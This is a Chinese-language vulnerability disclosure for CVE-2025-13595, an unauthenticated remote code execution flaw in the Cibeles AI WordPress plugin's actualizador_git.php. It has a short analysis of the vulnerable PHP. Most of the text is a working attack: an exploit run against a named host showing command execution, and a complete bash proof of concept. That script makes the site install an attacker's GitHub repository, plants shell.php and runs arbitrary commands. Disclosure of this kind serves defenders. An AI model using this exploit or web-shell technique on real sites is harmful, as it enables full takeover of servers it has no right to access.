CIBELES AI <= 1.10.8 - 未经认证的任意文件上传

Cibeles AI WordPress 插件 1.10.8 及以下版本在 actualizador_git.php 文件中存在一个未经认证的远程代码执行漏洞。该文件可直接通过 HTTP 访问，无需任何身份验证或授权检查，允许未经认证的攻击者下载任意 GitHub 仓库并覆盖插件文件，从而导致远程代码执行。

TL;DR 利用方法

提供了 CVE-2025-13595.py 来演示远程攻击者上传 shell.php 并执行远程代码：

python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

技术分析

漏洞存在于 /wp-content/plugins/cibeles-ai/actualizador_git.php 文件中。该文件实现了一个 GitHub 仓库镜像系统，可以直接通过 HTTP 访问，未设置任何安全控制。

代码路径分析

直接文件访问（第1-17行）： 该文件缺少标准的 WordPress ABSPATH 检查（if (!defined('ABSPATH')) exit;），该检查本可防止直接 HTTP 访问。参数直接从 $_GET 中读取，未经过验证：
```
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
$REF   = $_GET['ref']   ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
```
令牌验证（第26行）： 唯一的验证是检查令牌是否为空或默认值。未执行任何身份验证或授权：
```
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
    http_response_code(400); 
    exit("Falta token\n"); 
}
```
GitHub API 请求（第31行，第35-58行）： 脚本使用用户控制的参数从 GitHub API 下载 ZIP 文件：
```
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
```
curl_download() 函数将令牌放在 Authorization 头部中发送，但对仓库所有者或内容未做任何验证。

概念验证

TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"

CVE-2025-13595

最受欢迎

CIBELES AI <= 1.10.8 - 未经认证的任意文件上传

TL;DR 利用方法

技术分析

代码路径分析

概念验证